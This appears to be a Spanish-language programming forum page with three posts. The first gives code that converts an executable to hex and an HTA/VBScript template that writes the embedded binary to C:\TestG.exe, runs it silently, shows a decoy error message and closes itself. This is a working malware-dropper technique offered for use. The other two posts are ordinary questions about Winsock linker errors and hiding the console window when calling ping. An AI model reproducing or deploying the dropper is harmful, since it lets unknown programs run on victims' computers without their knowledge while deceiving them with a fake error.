SoloCodigo

miren esto en VBS:
Si queremos ejecutar un exe en la pc, debemos pasarlo a hexadecimal primero
colocamos este code en visual basic, para pasar el exe a hexadecimal

-------------------------------------------------------
Open "c:\mi_exe.exe" For Binary As #1
Open "c:\mi_exe.txt" For Output As #2
A$ = " "
While Not EOF(1)
Get #1, , A$
B$ = Hex$(Asc(A$))
If Len(B$) = 1 Then B$ = "0" + B$
Print #2, B$;
Wend
Close
-------------------------------------------------------

Lo que nos de en mi_exe.txt lo ponemos en el script a ejecutar de esta forma:

--------------------------------------------------------------------------
<script Language='VBScript'>
'Resumidor de errores y objetos fso y ws
On Error Resume Next
Set WS = CreateObject("WScript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")

'var con el code hexa del exe
HExeFile="4D5A90000300000.......code.hexa......0000000000000000000000000000"

'luego de 1 segundo llama al sub ExecFile
id = setTimeout("ExecFile()", 1000)

'Sub que escribe y ejecuta al exe
Sub ExecFile()
Set db = FSO.CreateTextFile("C:\TestG.exe")
db.Write Dcd(HExeFile)
db.Close

WS.Run "C:\TestG.exe": document.write "Error 2045"

->Esto para cerrar el hta despues de ejecutar el exe
window.close()
End Sub

'funcion que pasa el code hexa a binario para escribirlo en el exe
Function Dcd(HT)
For i = 1 To Len(HT) Step 2
tb = Chr(37+1) & Chr(72) & Mid(HT, i, 2): tt = tt & Chr(tb)
Next
Dcd = tt
End Function
</Script>
fuente cyruxnet.org

Bajé el siguiente código de un sitio y lo compilo en el Dev-c++ pero me arroja los sgtes errores....
   
   [Linker error] undefined reference to `WSAStartup@8'
   [Linker error] undefined reference to `gethostbyname@4'
   [Linker error] undefined reference to `inet_ntoa@4'
   [Linker error] undefined reference to `WSACleanup@0'
   ld returned 1 exit status

#include <winsock2.h>
#include <stdio.h>
#include <stdarg.h>
#include <stdlib.h>

hostent *p;
char *alias;
int i;
IN_ADDR add;
char argv[]="localhost";
char a[100];
int main()
{
   
   
   WSADATA wsaData;

   if (WSAStartup(MAKEWORD(1, 1), &wsaData) !=0){

      return 1;
   }
   
   p=gethostbyname(argv);
   
   if (p==NULL)
   {
      strerror(errno);
   
      return 1;
   }
   else
   {
   
      memcpy(&add.S_un,p->h_addr_list[0],p->h_length);
      sprintf (a,"%s",inet_ntoa(add));
      
   }
    printf ("%s",a);

   WSACleanup();
   return 0;
}


y al linkear con la libreria

1. Press ALT + P
2. Then go to the “Perimeters TAB”
3. Then click the button “Add library or Object” button
4. Now go to the directory where Dev C++ is installed.
5. Go to the “lib” file and search for the file:
6. And open the file “libws2_32.a”
7. Then click Ok
me devuelve el siguiente error.

  cannot find -lobjc
  ld returned 1 exit status

alguna sugerencia????

Hola q tal amigos, tengo una gran duda acerca de como puedo implementar el famoso ping.exe en un programa q estoy escribiendo el problema es q quiero q al implementarlo con la funcion system esta me funciona bien por q cuando el 'host esta activo' me duelve un 1 pero la pantallita negra se muestra, como puedo hacer para q esto no ocurra, he probado tambien con shellexecute pero esta solo me dice si dicha aplicacion funciono o no.